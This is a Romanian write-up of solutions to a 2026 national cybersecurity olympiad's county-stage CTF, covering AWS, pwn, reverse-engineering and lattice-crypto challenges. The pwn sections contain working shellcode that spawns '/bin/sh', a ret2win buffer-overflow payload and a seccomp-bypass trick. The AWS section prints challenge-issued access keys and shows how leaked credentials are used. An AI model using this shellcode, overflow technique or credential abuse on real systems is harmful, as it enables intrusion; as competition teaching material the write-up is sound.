🇷🇴 Olimpiada de Securitate Cibernetica OSC 2026 - Faza Județeană
Rezolvări pentru Olimpiada de Securitate Cibernetica OSC 2026 - etapa județeană
Etapa județeană a OSC 2026 s-a desfășurat pe 24 aprilie 2026, online din centrele de examinare, în format Jeopardy, cu o durată de 6 ore. Mai jos sunt rezolvările pentru probele pe care le-am abordat, grupate pe categorii.
s3crets (Cloud / Misc)
Descriere:
1
2
3
Oare ce este un lambda?
https://s3crets-assets-854c669f.s3.amazonaws.com/
Soluție:
Indiciul face referire la AWS Lambda. Pornim de la bucket-ul S3 public și îi listăm conținutul:
1
curl -s 'https://s3crets-assets-854c669f.s3.amazonaws.com/?list-type=2'
Bucket-ul expune trei fișiere: assets/app.py, assets/creds și assets/policy.json. Din creds extragem credențialele AWS și ne autentificăm:
1
2
3
4
export AWS_ACCESS_KEY_ID='AKIATWDEC6N3TTISTLM7'
export AWS_SECRET_ACCESS_KEY='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'
export AWS_REGION='eu-central-1'
aws sts get-caller-identity
Codul din app.py este un handler de Lambda care citește două secrete (flag-ul și o mască), generează un nonce aleatoriu și salvează ciphertext-ul în S3:
1
2
3
4
5
6
7
8
def lambda_handler(event, context):
flag = read_secret(flag_secret_name)
secret_mask = read_secret(xor_mask_secret_name)
...
nonce = os.urandom(len(flag))
ciphertext = xor_bytes(flag, secret_mask, nonce) # ciphertext = flag XOR mask XOR nonce
s3.put_object(Bucket=secrets_bucket, Key=f"secrets/{token}/flag.enc", Body=ciphertext)
return {"uuid": token, "nonce": nonce.hex()}
XOR-ul este reversibil, deci flag = ciphertext XOR mask XOR nonce. Avem nevoie de toate cele trei valori. Invocăm funcția Lambda pentru a primi uuid și nonce:
1
2
3
aws lambda list-functions --region eu-central-1 # -> s3crets-app
aws lambda invoke --function-name s3crets-app --region eu-central-1 invoke.json
cat invoke.json
Politica de IAM permite citirea măștii, dar conține un deny explicit pe flag, prin urmare flag-ul trebuie reconstruit, nu citit direct:
1
2
aws secretsmanager get-secret-value --secret-id s3crets-xor-mask-854c669f --region eu-central-1
# VScPtPPY7cbjhFziThbTPMF80XHtCWWGOyOxXgbnUXoFLu5RpQlWoYZuvpftFKTGn8PXd
Rămâne să descărcăm ciphertext-ul folosind uuid-ul întors de Lambda și să aplicăm XOR-ul:
1
2
aws s3api get-object --bucket s3crets-secrets-854c669f \
--key 'secrets/<uuid>/flag.enc' --region eu-central-1 flag.enc
1
2
3
4
5
6
7
from pathlib import Path
nonce_hex = "d1610c8d6a1636d0fabd2ba0dbfc4b0c43e8ad0e29679d94dab5dc8b7497925f87d98b4ded64147d27daea8b0730d405b0a8cfdc2a324b0cc786699d3eceba2074fe4aebad"
mask = b"VScPtPPY7cbjhFziThbTPMF80XHtCWWGOyOxXgbnUXoFLu5RpQlWoYZuvpftFKTGn8PXd"
ciphertext = Path("flag.enc").read_bytes()
nonce = bytes.fromhex(nonce_hex)
flag = bytes(c ^ m ^ n for c, m, n in zip(ciphertext, mask, nonce))
print(flag.decode())
Flag: OSC{6bb23c2866eff1223ec2975a8813d62abd1fa5ba753a26143266c4935639f4f3}
eu-strivesc-corola-de-minuni (Pwn)
Descriere:
1
2
Hai ca acum ati puso, asta e cu dedicatie pentru toti care cred ca stiu C.
[...] cum ar fi ca flagul sa nu fie niciodata deschis si voi sa trebuiasca sa il obtineti doar cu read+write?
Soluție:
Binarul (PIE, NX, canary, Full RELRO) face mmap pe o zonă RWX, citește în ea shellcode-ul utilizatorului, instalează un filtru de seccomp și transferă execuția în shellcode:
1
2
3
4
5
mmap(...) ; buffer RWX
puts("Baga frate shellcode ...")
read(0, buf, n) ; shellcode-ul nostru
install_filter() ; PR_SET_NO_NEW_PRIVS + SECCOMP_SET_MODE_FILTER
call buf ; execuție shellcode
Filtrul permite doar read și write, deci open/openat și execve sunt blocate și nu putem deschide noi fișierul de flag. Soluția exploatează faptul că wrapper-ul de pe server lasă un file descriptor deschis (exec 9<>"$0"), pe care îl reutilizăm folosind exclusiv syscall-urile permise. Shellcode-ul scrie comanda pe acest descriptor:
1
2
3
4
5
6
7
8
9
10
11
12
sc1 = asm("""
mov rdx, 10
mov rax, 0x0a00
push rax
mov rax, 0x67616c6620746163 ; "cat flag"
push rax
mov rsi, rsp
mov rdi, 9 ; fd lăsat deschis de wrapper
mov rax, 1 ; write
syscall
""")
sl(sc1)
Rulat pe instanța live, exploit-ul returnează flag-ul de forma CTF{...}.
ret2win (Pwn)
Descriere:
1
ret2win harder
Soluție:
checksec indică No PIE, No canary, NX activ. Binarul conține o funcție win la adresa 0x4011c9, care deschide flag.txt, iar main citește într-un buffer fără limitare de dimensiune (buffer overflow clasic). Suprascriem return address-ul cu adresa funcției win:
1
2
3
4
5
6
from pwn import *
e = ELF("./win")
io = process(e.path) # sau remote(host, port)
payload = b'A'*40 + p64(0x4011C9) # 32 buffer + 8 saved RBP = offset 40 până la saved RIP
io.sendline(payload)
io.interactive()
Rulat pe instanță, win afișează flag-ul (CTF{...}).
boogie-woogie (Pwn)
Descriere:
1
Stii deja cum sta treaba, daca esti crakat pe pwn nar trb sa ai probleme, a minipif classic.
Soluție:
Și aceasta este o probă de tip shellcode runner (Ia zi sefule, cum stam cu shellcodeu asta?), însă de această dată fără filtru de seccomp, deci execve este permis. Singura constrângere este un prim byte de control, peste care trecem cu un jmp scurt, urmat de shellcode-ul de execve("/bin/sh"):
1
2
3
4
5
6
7
8
9
10
11
12
13
sc = asm("jmp $+5")
sc1 = b'\n'
sc1 += asm("""
xor rdx, rdx
add rdi, 0x16
xor rax, rax
xor rsi, rsi
mov al, 59 ; execve
syscall
""")
sc1 += b'/bin/sh\x00'
sla(b'Ia zi sefule, cum stam cu shellcodeu asta?\n', sc.hex().encode() + sc1)
io.interactive()
Obținem shell și citim flag-ul (CTF{...}) de pe instanța live.
kittyOS (Reverse Engineering)
Descriere:
1
2
Robotul-pisică nu mai pornește și cere o "cheie de firmware". Am extras firmware-ul,
dar nu reușesc să fac reverse la parolă.
Soluție:
Firmware-ul construiește un tabel de substituție: fiecare caracter din string.printable (mai puțin ultimele 6) este mapat la o pereche de octeți. Flag-ul stocat este o secvență de astfel de perechi, prin urmare reconstruim maparea caracter → pereche și o inversăm:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import string
alphabet = string.printable[:-6]
alphabet_encrypted = "c7c3cdccc2cac0c5c9c6030d0c020a000509060f01080b040e57535d5c525a505559565f232d2c222a202529262f21282b242ea7a3adaca2aaa0a5a9a6afd3dddcd2dad0d5d9d6dfd1d8dbd4decfc1c8cbc4ce27a1a8aba4ae0751585b54"
flag = "2ca2205126ae55c70402ccadaea52956ae29c2ad2255035d2aae0c092308280a24052acaae035dccaeac2eae5d23ad0a5b"
cif = [alphabet_encrypted[i:i+2] for i in range(0, len(alphabet_encrypted), 2)]
flag_cif = [flag[i:i+2] for i in range(0, len(flag), 2)]
mapping = {alphabet[i]: cif[i] for i in range(len(cif))}
out = ""
for fc in flag_cif:
for k, v in mapping.items():
if v == fc:
out += k; break
print(out)
Flag: CTF{I_w0nd3R_WHy_H4RDwarE_chAlLeNgE5_ar3_SO_rARe}
discombobul8 (Reverse Engineering)
Descriere:
1
2
[...] Atasat e ceva ce a fost folosit sa atace TFC headquarters [...]
Stim ca atacatorul a apelat o functie numita `func`. PS: Codul atacatorului NU este malitios
Soluție:
Proba oferă un runner de V8 (d8), un snapshot_blob.bin și un attachment.js care conține un modul WASM (expl_wasm_code). Note-ul precizează că d8 este doar pentru rularea codului JS, nu pentru a fi exploatat. Exportul relevant este func, care scrie o serie de octeți în memoria WASM în jurul offset-ului 0x400, octeți ce corespund unui shellcode x86-64.
În loc să reversăm întreg modulul WASM, lăsăm codul să ruleze și facem dump la memoria generată, apoi reconstruim string-ul pe care shellcode-ul îl construiește în chunk-uri de 8 octeți:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import json, struct, subprocess
js = r'''
let m = new WebAssembly.Module(expl_wasm_code);
let i = new WebAssembly.Instance(m, {});
i.exports.func();
let u = new Uint8Array(i.exports.memory.buffer);
console.log(JSON.stringify(Array.from(u.slice(0x400, 0x520))));
'''
sc = bytes(json.loads(subprocess.check_output(["./d8", "attachment.js", "-e", js], text=True)))
u32 = lambda off: struct.unpack_from("<I", sc, off)[0]
end = ((u32(0x09) + u32(0x12)) & 0xffffffff).to_bytes(4, "little").rstrip(b"\0")
chunks = []
for base in [0x19, 0x41, 0x69, 0x91, 0xb9, 0xe1]:
high = (u32(base+0x01) + u32(base+0x09)) & 0xffffffff
low = (u32(base+0x19) + u32(base+0x21)) & 0xffffffff
chunks.append(((high << 32) | low).to_bytes(8, "little"))
print((b"".join(chunks[::-1]) + end).decode())
Octeții sunt construiți din perechi de constante (mov + add) împinse pe stivă; le adunăm și inversăm ordinea chunk-urilor. Abordarea dinamică evită reversarea manuală a întregului WASM bytecode.
Flag: CTF{frate_esti_un_v8_enjoyer_adevarat_jos_palaria}
0_solves (Cryptography)
Descriere:
1
Uitativa la asta inainte sa incepeti (nu e rickroll)
Soluție:
Sursa publică un prim p și m sume modulare. În spate există 50 de weight-uri ascunse și 50 de rânduri binare aleatorii, iar unul dintre rânduri este chiar flag-ul scris pe biți. Fiecare coloană este o sumă ponderată a celor 50 de rânduri:
1
sums = [ sum(weights[i] * flag_matrix[i][j] for i in range(n)) % p for j in range(m) ]
Observația-cheie este că aceleași 50 de weight-uri sunt refolosite pentru toate cele 407 coloane. Prin urmare, pentru orice vector întreg mic c cu $\sum_j c_j \cdot sums_j \equiv 0 \pmod p$, avem implicit și $\sum_j c_j \cdot flag_matrix_{i,j} = 0$ pentru fiecare rând ascuns. Cu LLL obținem un număr mare de astfel de relații scurte, iar kernel-ul lor întreg este exact spațiul de dimensiune 50 în care se află rândurile binare. Folosim apoi formatul cunoscut CTF{ pentru a restrânge spațiul și a izola rândul printabil:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from sage.all import *
import itertools
ns = {}; exec(open("output.py").read(), ns)
p = Integer(ns["p"]); y = [Integer(v) for v in ns["sums"]]; m = len(y)
# relații scurte c cu sum(c_i * y_i) == 0 mod p
M = Matrix(ZZ, m + 1, m + 1)
for i, v in enumerate(y):
M[i, i] = 1; M[i, m] = v
M[m, m] = p
L = M.LLL(delta=0.99, eta=0.501)
relations = [[int(x) for x in row[:m]] for row in L.rows() if row[m] == 0]
# rândurile ascunse se află în kernel-ul drept al relațiilor
R = Matrix(ZZ, relations)
B = Matrix(QQ, R.right_kernel(ZZ).basis()).LLL(delta=0.99)
# ... folosim CTF{...} pentru a fixa biții cunoscuți, enumerăm biții liberi
# și validăm că fiecare octet rezultat este ASCII printabil.
Flag: CTF{de_ce_faci_crypto_si_nu_pwn_:eyes:_urat_asa…}
